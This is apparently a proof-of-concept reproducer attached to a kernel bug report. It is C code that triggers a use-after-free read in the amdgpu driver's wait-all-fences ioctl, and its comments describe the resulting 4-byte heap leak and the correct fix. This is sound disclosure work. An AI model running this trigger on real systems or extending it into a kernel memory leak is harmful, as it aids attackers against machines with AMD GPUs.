DF-4265 / wait_all_fences_uaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 | /* * DF-4265 โ amdgpu_cs_wait_all_fences reads fence->error AFTER the final * dma_fence_put (use-after-free read) * ===================================================================== * amdgpu_cs_wait_all_fences() (sys/dev/drm/amd/amdgpu/amdgpu_cs.c: * 1481-1516): * * r = dma_fence_wait_timeout(fence, true, timeout); * dma_fence_put(fence); // :1501 * ... * if (fence->error) // :1508 <-- read AFTER put * return fence->error; * * If our reference is the last one (the context fence slot for `seq` was * replaced by a later submission โ amdgpu_ctx.c:449-461 drops the array * ref after amdgpu_sched_jobs(=32) further submissions on the same entity * โ and the scheduler/job no longer holds refs), the put at :1501 frees * the fence and :1508 reads freed memory. On this tree the free is * RCU-deferred (drm_sched_fence_release_scheduled -> call_rcu, * sys/dev/drm/scheduler/sched_fence.c:107-113), so manifestation requires * the grace period to elapse (or preemption) between :1501 and :1508; * the stale/groomed value is returned to userspace as the ioctl errno โ * a 4-byte heap-content oracle (CWE-416). * * Trigger shape: submit 33 GFX CS (so the slot holding seq 1 is replaced * while we hold a ref via the wait ioctl), then WAIT_FENCES(wait_all=1) * on seq 1. Correct code (as in amdgpu_cs_wait_ioctl, :1367-1369) reads * fence->error BEFORE the put. * * Unprivileged: AMDGPU_WAIT_FENCES is DRM_AUTH|DRM_RENDER_ALLOW * (amdgpu_kms.c:1209). */ #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioccom.h> #include <errno.h> #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define AMDGPU_GEM_DOMAIN_GTT 0x2 #define AMDGPU_HW_IP_GFX 0 #define CHUNK_ID_IB 0x01 #define SCHED_JOBS 32 /* amdgpu_sched_jobs default */ union gem_create_ { struct { unsigned long long bo_size, alignment, domains, flags; } in; struct { unsigned int handle, _pad; } out; }; union ctx_ { struct { unsigned int op, flags, ctx_id; int priority; } in; struct { unsigned int ctx_id, _pad; } alloc; }; struct chunk_hdr_ { unsigned int chunk_id, length_dw; unsigned long long chunk_data; }; struct chunk_ib_ { unsigned int _pad, flags; unsigned long long va_start; unsigned int ib_bytes, ip_type, ip_instance, ring; }; union cs_ { struct { unsigned int ctx_id, bo_list_handle, num_chunks, _pad; unsigned long long chunks; } in; struct { unsigned long long handle, status; } out; }; struct drm_amdgpu_fence_ { unsigned int ctx_id, ip_type, ip_instance, ring; unsigned long long seq_no; }; union wait_fences_ { struct { unsigned long long fences; unsigned int fence_count, wait_all; unsigned long long timeout_ns; } in; struct { unsigned int status, first_signaled; } out; }; #define IOCTL_GEM_CREATE \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x00, union gem_create_) #define IOCTL_CTX \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x02, union ctx_) #define IOCTL_CS \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x04, union cs_) #define IOCTL_WAIT_FENCES \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x12, union wait_fences_) int main(void) { union gem_create_ gc; union ctx_ ctx; union cs_ cs; union wait_fences_ wf; struct chunk_hdr_ hdr; struct chunk_ib_ ib; struct drm_amdgpu_fence_ fences[1]; unsigned long long chunk_ptr, seq1; int fd, i; fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { fprintf(stderr, "DF-4265: cannot open /dev/dri/renderD128: %s\n" "On amdgpu hw: 33 GFX submissions then WAIT_FENCES(all) on " "seq 1 races the RCU fence free against the fence->error " "read at amdgpu_cs.c:1508.\n", strerror(errno)); return (1); } memset(&gc, 0, sizeof(gc)); gc.in.bo_size = 4096; gc.in.domains = AMDGPU_GEM_DOMAIN_GTT; if (ioctl(fd, IOCTL_GEM_CREATE, &gc) < 0) { perror("gem_create"); return (1); } memset(&ctx, 0, sizeof(ctx)); ctx.in.op = 1; if (ioctl(fd, IOCTL_CTX, &ctx) < 0) { perror("ctx"); return (1); } memset(&ib, 0, sizeof(ib)); ib.ip_type = AMDGPU_HW_IP_GFX; ib.ib_bytes = 16; hdr.chunk_id = CHUNK_ID_IB; hdr.length_dw = sizeof(ib) / 4; hdr.chunk_data = (unsigned long long)(uintptr_t)&ib; chunk_ptr = (unsigned long long)(uintptr_t)&hdr; seq1 = 0; for (i = 0; i < SCHED_JOBS + 1; i++) { memset(&cs, 0, sizeof(cs)); cs.in.ctx_id = ctx.alloc.ctx_id; cs.in.num_chunks = 1; cs.in.chunks = chunk_ptr; if (ioctl(fd, IOCTL_CS, &cs) < 0) { perror("CS"); return (1); } if (i == 0) seq1 = cs.out.handle; } printf("submitted %d jobs; waiting (all) on seq=%llu\n", SCHED_JOBS + 1, seq1); memset(fences, 0, sizeof(fences)); fences[0].ctx_id = ctx.alloc.ctx_id; fences[0].ip_type = AMDGPU_HW_IP_GFX; fences[0].ring = 0; fences[0].seq_no = seq1; memset(&wf, 0, sizeof(wf)); wf.in.fences = (unsigned long long)(uintptr_t)fences; wf.in.fence_count = 1; wf.in.wait_all = 1; wf.in.timeout_ns = 1000000000ull; /* 1s */ if (ioctl(fd, IOCTL_WAIT_FENCES, &wf) < 0) printf("WAIT_FENCES returned errno path (on a UAF hit this " "errno is groomed heap memory): %s\n", strerror(errno)); else printf("WAIT_FENCES status=%u\n", wf.out.status); return (0); } |